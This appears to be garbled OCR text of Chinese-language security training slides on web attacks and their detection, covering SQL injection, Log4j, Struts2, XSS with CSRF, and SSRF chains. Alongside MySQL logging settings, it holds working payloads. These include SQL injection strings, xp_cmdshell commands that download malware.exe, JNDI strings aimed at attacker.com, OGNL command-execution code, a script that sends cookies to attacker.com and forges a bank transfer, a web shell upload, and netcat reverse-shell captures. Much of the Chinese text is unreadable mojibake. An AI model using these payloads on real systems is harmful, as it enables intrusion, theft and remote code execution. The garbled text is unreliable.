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SQLEA iRz == Al

FiE—: EMySQLEE X4 hifmn:
[mysqld]

slow_query log =1
slow_query_log_file = /log/slow.log
long_query_time =2
log_slow_admin_statements =1

log_queries_not_using_indexes = 1

FiEZ: EESQLRSHA[RE:

SET GLOBAL slow_query_log ='ON’;

SET GLOBAL slow_query_log_file ='/log/slow.log’;
SET GLOBAL long_query_time = 2;

SET GLOBAL log_slow_admin_statements = 'ON’;

SET GLOBAL log_queries_not_using_indexes = 'ON’;

SET GLOBAL long_query_time = 0;

roup
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FHBIANEAG: " OR"T="T Wi B 89 RS B RRWIE
HRBEANLAS: "1 0R1=1" ALEN: EHEFBRIEA
UNIONE AL A4S : ' UNION SELECT username, password FROM users--"  JIlif B #9: RSSO ¥R
02 S @EHE ANKAS: '; DROP TABLE users;-- WHEH: RFSISQLES
B B SR E AN A A ' OR IF(1=1, SLEEP(5), 0)--° 3L B B9 E i B R R R AR
H/REEENEAF: ' OR (SELECT 1 FROM users WHERE username='admin' AND LENGTH(password)>5)--" it B89 ifid B /R0 R BT S R
RESENMIE A : ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version), 0x7e))--" ALEN: ABEERYRENER
ZHEANRAS: admin'-- WKL B: EEAREDFHEFENOEAN
SQLEA A RPHEAWLAH: %df OR 121 WL E8: LT addslashes() %4 X R
ERFEANE A : "admin'/**/OR/**/1=1-- WL ELY: RN XRIFLR
+ S R ENRN KB A "0x61646D696E' OR 1=1--" WK B: RERETEER
FEfE AN A : ' OR (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT username FROM users LIMIT 1), FLOOR(RAND(0)*2))
AS x FROM information_schema.tables GROUP BY x) y)--" ALEH: EREARDER
FUBGEANKLAS: ' OR IF((SELECT COUNT(*) FROM users)>0, 1, 0)--" WK BEH: @ R4 EQEEER
XHEBEENMLAEF: ' UNION SELECT NULL, LOAD_FILE('/etc/passwd')--" T B IY: ERRSBXH
FEEEENMLAH: ; EXEC xp_cmdshell('net user');-- WELE: ATRAHS (EMSSQLPEERL)
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POST /v1/admin/users/login HTTP/1.1

Accept: application/json

03 Content-Type: application/json
Cookie: ADMIN_USER=d6cbbfdefe31412aa047f6939450ebc2V3rQZj0Shisip
Host: www.fbi.com
AMSZRARE

Origin: https://www.fbi.com
Referer: https://www.fbi.com/admin/user/login

User-Agent: Mozilla/5.0 Chrome/129.0.0.0 Safari/537.36

= {"username":" ", "password":"123456","remember”:true,"type":"account"}

———————

Hocking | yroup
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1. PHEEANEETHATER:

03 # Query_time: 0.000652 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 100

2.UNIONFAEEHBEER:

MBI RARE # Query_time: 0.001234 Lock_time: 0.000021 Rows_sent: 10 Rows_examined: 1000

3.HEEREANEENATER:

# Query_time: 5.000789 Lock_time: 0.000011 Rows_sent: 1 Rows_examined: 1

Hocking | yroup
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1. SQLESEFARTR:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server

03

version for the right syntax to use near "" atline 1

2. SQLEEETEANIRRR:

SSRGS

MRFESQLEAN, MEE RGNS FIMA,
3.SQLERFAER:

. MRFESQLEA, MIEHEAFELHIIdA2ZHAE,
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(base) superman@bogon sqlmap % python sqlmap.py -u "http://www. g gu ®).com/my o =™ W.php?id=2265"

e {1.8.9#stable}
- =1 . [§] I
04 1= Wl l-l-l——.] _I
] 785 o |1 https://sglmap.org

[!] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage cau
sed by this program

[*] starting @ 17:32:10 /2024-10-16/

- A [17:32:10] [INFO] testing connection to the target URL
SOL;IAFE;HH‘.‘IIIE you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ctg4altoid8...od12bgp7fe'). Do you want to use those [Y/n]

[17:32:11] [INFO] checking if the target is protected by some kind of WAF/IPS

[17:32:11]1 [INFO] testing if the target URL content is stable

[17:32:12]1 [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher.
If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'

how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c

[17:32:14] [INFO] testing if GET parameter 'id' is dynamic

[17:32:14] [INFO] GET parameter 'id' appears to be dynamic

[17:32:15] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable

[17:32:15]1 [INFO] testing for SQL injection on GET parameter 'id'

[17:32:15]1 [INFO] testing 'AND boolean-based blind — WHERE or HAVING clause'

[17:32:16] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable

[17:32:18] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL*®

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] vy

* for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

-
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projectdiscovery. io

[INF] Listing 1 payload for 00B Testing

[INF] c23b21a@kllkrjcrdjl@cndmnioyyyyyn.oast.

[c23b21a0kl1krjcrdjl@cndmnioyyyyyn]
[c23b21a@kl1lkrjcrdjl@cndmnioyyyyyn]
[c23b21a@kl1lkrjcrdjl@cndmnioyyyyyn]
[c23b21a@kl1lkrjcrdjl@cndmnioyyyyyn]
[c23b21a0@kl1krjcrdjl@cndmnioyyyyyn]
[c23b21abkllkrjcrdjl@cndmnioyyyyyn]

.

Received
Received
Received
Received
Received
Received

A

/_/ /_/ v0.0.5

pro

DNS interaction (A) from 172.253.226.100 at 2021-
DNS interaction (AAAA) from 32.3.34.129 at 2021-2
HTTP interaction from 43.22.22.50 at 2021-26-26 1
DNS interaction (MX) from 43.3.192.3 at 2021-26-2
DNS interaction (TXT) from 74.32.183.135 at 2021-
SMTP interaction from 32.85.166.50 at 2021-26-26
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1. Logd4jimmEMNi B :
${jndi:Idap://attacker.com:1389/evil}
${jndi:rmi://attacker.com:1389/evil}

02 2. Struts2imEMX A G :

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymp
hony.xwork2.dispatcher.HttpServietResponse").getWriter(),#tresponse.printin(#reqg.getRealPath('/')),#trespon
se.flush(),#tresponse.close()}
%{t#ta=(new jav?j![ang.PrﬁgzessBuiIder(new o " .

2 A 4= BRI java.lang.Stringl {"pwd";)).redirectErrorStream(true).start(),#tb=#a.getInputStream(),#fc=new

an AT i e 12t F java.io.InputStreamReader(#b),#td=new java.io.BufferedReader(#c),#te=new

char[50000],#d.read(#e),#tf=#context.get("com.opensymphony.xwork2.dispatcher.HttpServietResponse"),#f.
getWriter().printin(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5¢c%271%27)(vaaa)=true&(aaaa)((%2

7%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5¢%27]%5cu003d%5cu0023

vcec%27)(%5cu0023vecc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec

(°(/<)>)2)2touoh@/tmp/sucoess%22.split(°/o22@%22))')(%5cu0023rt°/o5cu003d@java.Iang.Runtime@getRuntim
- C
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POST /login HTTP/1.1

Accept: ${jndi:ldap://attacker.com:1389/evil}
Accept-Encoding: gzip, deflate
Accept-Language: zh—CN,zh;g=0.9

03

Content-Type: application/x-www-form-urlencoded
= I Cookie: JSESSIONID=12qq3k4r0u4ttjOpernvsq/3v5
EEORTHSHTAR . :

Host: www.fbi.com

Origin: http://www.fbi.com

Referer: http://www.fbi.com/login.php

User—Agent: ${jndi:rmi://attacker.com:1389/evil}

username=3%{jndi:rmi://attacker.com:1389/evil}&password=admin&login=
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mRITIREEZ TR

1[e 6666 1
listening on [any] 6666 ...
192.168.222.150: inverse host lookup failed: Unknown host
connect to [192.168.222.131] from (UNKNOWN) [192.168.222.150] 47782
04 zhian
VMwareTools-10.3.23-17030940.tar.gz
vmware-tools-distrib
etho Link encap:Ethernet HWaddr 00:0C:29:29:33:05
inet addr:192.168.222.150 Bcast:192.168.222.255 Mask:255.255.255.0
inet6 addr: 2409:8903:ab00:27e0:20c:29ff:fe29:3305/64 Scope:Global
RAESHELLIEENAR 23R inet6 addr: feB80::20c:29ff:fe29:3305/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:580 errors:0 dropped:® overruns:® frame:0
TX packets:727 errors:® dropped:® overruns:® carrier:0
collisions:@ txqueuelen:1000
RX bytes:128089 (125.0 KiB) TX bytes:65127 (63.6 KiB)
Interrupt:19 Base address:0x2024

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
b inet6 addr: ::1/128 Scope:Host
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M IERZ S

ZEMAAREMI—NERE
20, RETLRARENRES
81, LILREBKIES, ERE
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03

IEEXELN&EAHIA

ZEMAARTH B IRREHET
immZHERT, EXBiRREIPIE
R ERINEEt ZiR(TUNSRIFDIC
®, REEENRE KMo
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TEZEImINES

BZEMAARTW B IRREHET
imEZHEET, A0SR AINARERE
ELRIR, FERTHTIREE
X, NEEESTILUGSTiRiR
BTES, SKHRRERIARKHK.
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WiRAS: XSS+ CSRF

mmEipR: NEEANAXSSKHEEABRRHAE, BSEAFPESNENSIE
1 fTCSRFE
FRASR:

1. FiEBL: REEETFCKEATBRavaScriptfti,
2. HPiGE: HREFFIZREN, BEHAEENERPHT,
3. CSRFiER: MIABHMERIEER, HITRENBEE.

=S T RDRSBNR, EEEREBAEIN,

RRAS: ARENEEMRSIA + HREFREK + BRERME

R REEECARENERNKRSIBRERRRNAEIR, KREK
@ﬁl@\o

FRFE:

1. MKR5IH: WEEEURLPZRSEIEE H & O RN T X,
2. HEIARBRNERE: RORERRER, WEETREMMAZRORS.
3. BRUME: WEFERNMRERMNY, MKSZHD, FRANESE,

oRERSSBRNR, EREERERBENN.

== \
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<script>
/1 BiEFBPFP B cookie®| & ARS8
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
[ BIZ— 1N RENERREHBIMRR
var form = document.createElement('form’);
form.method = 'POST';
form.action = 'http://bank.com/transfer’;
IRERCookieMI 174 IR 1E form.innerHTML = '<input type="hidden" name="amount" value="1000">" +
'<input type="hidden" nhame="to" value="attacker_account">' +
'<input type="hidden" name="csrf_token" value="fake csrf token">';

01

XSS + CSRFiRifES

document.body.appendChild(form);
form.submit();
— </script>
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<script>
/] QIB— P RENERERATF EfEWeb Shell
var form = document.createElement('form');
form.method ='POST’;
02 form.action = 'http://vulnerable-website.com/upload’;
form.enctype = 'multipart/form-data’;

/1 VE—ANXHRA, LEffweb Shell
var inputFile = document.createElement('input’);
BN AN inputFile.type = 'file';
Xss + CSRF'E’EIgE = inputFile.name = 'file';
inputFile.accept = '.php'; // {&i&Web Shell2 PHP3X {4

[/ QIB— P RENFER, EEELENWeb Shellsx ¥
_I:{ﬁWebShell var blob = new Blob(["<?php echo 'Hello, World!'; ?>"], { type: 'application/x-php'});
var file = new File([blob], "shell.php", { type: 'application/x-php'});
var dataTransfer = new DataTransfer();
dataTransfer.items.add(file);
inputFile.files = dataTransfer.files;

form.appendChild(inputFile);

document.body.appendChild(form);

form.submit(); // BIIRREXE
</script>
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GET /download/file.asp?id= HTTP/1.1

Accept:
03 text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng
. Accept-Encoding: gzip, deflate
AEENEHENRSIA

L Accept-Language: zh-CN,zh;q=0.9
+ ERittRiRRES
Cache-Control: max-age=0

Connection: keep-alive

Cookie: PHPSESSION=BMKBHEEAFNGECGPMIFHIOBCC

Host: www.fbi.com

ERERFF &2 S AR 55 2R AR PR

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/129.0.0.0 Safari/537.36
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1. T*# kS
FAF&: aws
03 #1: fuckme!
HIE 22 EA 1 AKTADOOOOOOOOOOOOOONXK
FEENEENSSIHE W2F a2 50 1 wjalrXUXXXXXXXXXXXXXXXXCYEXAMPLEKEY
+ ERittRiRRES 2. [*=kS
FAF{: a*yun
IRERFF & AL FN AR 55 28 AU R #1: fuckme!
Access Key ID: LTAI4GXXXXXXXXXXXXXXXX
Access Key Secret: 6zZXXXXXXXOOOOOOOXXXXX XX XXX XXXX

3. REKS
= Hht: http://www.fbi.com/admin/ BF&: admin Z: fuckme
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Alibaba Clou...

o

Anolis QS 8....

Anolis OS 8
04 Windows ...
CentOS 7.
CentOS

CentOS 7

A ZENEENKRSIHA

+ (ERIMEIRRES

CentOS
CentOS
CentOS
Windows ...
CentOS 7
IR ENFF & S AR 55 =28 AR PR CentOs 7
CentOS 7.
Windows ...
Windows ...
CentOS 7.
CentOS
CentOS

CentOS

Stopped

Running

Stopped
Stopped
Running
Stopped
Stopped
Stopped
Stopped
Stopped
Stopped
Running
Running
Running
Running
Running
Running
Running
Running

Running

Running

192.1¢
192.1¢
192.1¢

192.1¢




(Z, D60 =2mRBTDI Hocking | sroup

= REREZIENEN
e ————

MR TE iR ES RS

[—
4

FHAS: SQUEA + HOHS @D RFES: SSRF+ BESSHA
® FRNE: XEENASQUIARAARSONGTAL. SARNESY ® RS : KEETLRIE SSRE BRI ENBES, HEaUSRET
. BREARENXASEE, MESSNTRIRS SRR, BGOSR R ARG S S RIRSE BIUR,

() FRSE:

1.SQUEA: HEERMSQUIARE, A LSMRREERPRE, O nms=:

2 FEGORAMSE: YRREEEHEERURE, TELSQUIAR 1. SSREFRRN : 1 a5 &RIMSSREIAE 7 MM R AR LA.
ERSHFRRREREDS, RUBSERENE. 2. MARARR: $HRRLANEN NS SRERRETREN.
3. SARBES XM : MEEEEGHERRNRN, THBENESX 3 REEHUNR: BORTRAKE AR RIS EAUR.

HSHERHESES, KRRSESSNE, |
CDKEﬁWW%ﬁﬂm,EE%ﬁiﬁﬁiﬂﬂo () TRERSENR, EoERERRENN,
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1. SQLEAZRATRASR S
01 WEEUEIEERFENRARFA SQLEANRE. fil, REEUUERAFREFRIPEBAUTAS:
"OR '1'="1"; EXEC xp_cmdshell('whoami'); --

s = . ) = =i
SOLEA + &2 H4T 2.SQLFAKTERESQL Eif |
SELECT * FROM users WHERE username =" OR '1'="1"; EXEC xp_cmdshell('whoami'); --' AND
password = 'anything’

IR ER AR 55 2R A IR

3. FRENAR S5 2R AR :
REEJBEEXUBNAXNTERSS. i, THE—MBEXH:

"OR '"1'="1"; EXEC xp_cmdshell('powershell -Command "Invoke-WebRequest -Uri
http://fbi.com/malware.exe -OutFile C:\\malware.exe"); --




(. D60 ZzuAPmDL

-+ 360 Security Response Center

Hocking | yroup

= RERBEZTE R 2
R
ZEiRinEZHEES A

[—
4

1. iR%! SSRF i@ :
REBERINAZRFATHFHA URLETHFICR, EEENHBASTELNRIE,
02 https://www.fbi.com/api?url=http://10.10.10.10

2. iEBRRIFEK:
SSRF + T KHETME—NEEL URL, FIA Logdj NHSHITRA.
https://www.fbi.com/api?url=http://10.10.10.10/log?str=%{jndi:ldap://attacker.com:1389/a}

IR BN AR 55 28 AR PR

3. FJF SSRF ifid Log4j J®i@:
% LDAP RS, KHEiE:T SSRF BAAE Logdj B, MEBSNT.

ARTERDS, KEIRSHNR:
—H Log4j i &7 JNDI £k, WEBENRS[FELOBRAE, RAITESHISRKIIRSS[RE.
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—(root& kali)-[~]
—# nc RRRE
listening on [any] 4444 ...
172.22.0.2: inverse host lookup failed: Unknown host
02 connect to [192.168.15.128] from (UNKNOWN) [172.22.0.2] 41578
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7b7ff1113df:/opt/solr/server# s
SSRF + tn Q1T s
README. txt
contexts
KR AR5 B4R PR h

lib

logs

modules

resources

scripts

solr

solr-webapp

™=start.jar
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2.

Accept:

Accept-Encoding:
Accept-Language:
Cache-Control:
Connection:
Cookie:

Host:

Referer:

Upgrade-Insecure-Requests:

User-Agent:

THEEARESESHETIAL, BidEECookielEEME X HWindows+I1S+ASP.Net

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,appl
ication/signed-exchange;v=b3;q=0.7
gzip, deflate
zh-CN,zh;q=0.9
max-age=0
keep-alive
| ASP.NET_Sessionld=ijanc4jc2Zmmtunfeurzdxswm

BT T
http:/wwv m B BN mm mpggupload.aspx
1

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/130.0.0.0 Safari/537.36
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